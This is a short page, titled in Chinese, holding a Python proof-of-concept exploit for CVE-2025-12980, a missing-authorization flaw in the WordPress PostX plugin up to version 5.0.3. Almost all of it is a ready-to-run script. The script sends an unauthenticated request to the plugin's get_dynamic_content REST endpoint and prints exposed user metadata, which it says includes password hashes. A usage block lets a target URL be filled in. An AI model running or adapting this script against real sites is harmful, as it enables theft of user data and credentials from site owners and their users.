CVE-2025-12980 WordPress PostX插件未授权信息泄露漏洞

import requests import json # CVE-2025-12980 PoC - PostX Plugin Unauthorized User Metadata Access # Target: WordPress site with PostX plugin <= 5.0.3 def exploit_postx_cve_2025_12980(target_url): """ Exploit for CVE-2025-12980: PostX plugin missing authorization on /ultp/v2/get_dynamic_content/ REST API endpoint """ # API endpoint path endpoint = "/wp-json/ultp/v2/get_dynamic_content/" # Construct full URL url = target_url.rstrip('/') + endpoint print(f"[*] Targeting: {url}") print(f"[*] Exploiting CVE-2025-12980...") try: # Send unauthenticated request to the vulnerable endpoint # The endpoint should return user metadata without authentication response = requests.get(url, timeout=10) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() print(f"[+] SUCCESS: Retrieved sensitive data") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for password hashes or sensitive metadata if 'data' in data or 'user_meta' in data: print("[!] VULNERABLE: User metadata exposed including password hashes") return True elif response.status_code == 401: print("[-] Not vulnerable or already patched") else: print(f"[*] Unexpected response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False # Usage example if __name__ == "__main__": # Replace with target URL target = "https://example-wordpress-site.com" exploit_postx_cve_2025_12980(target)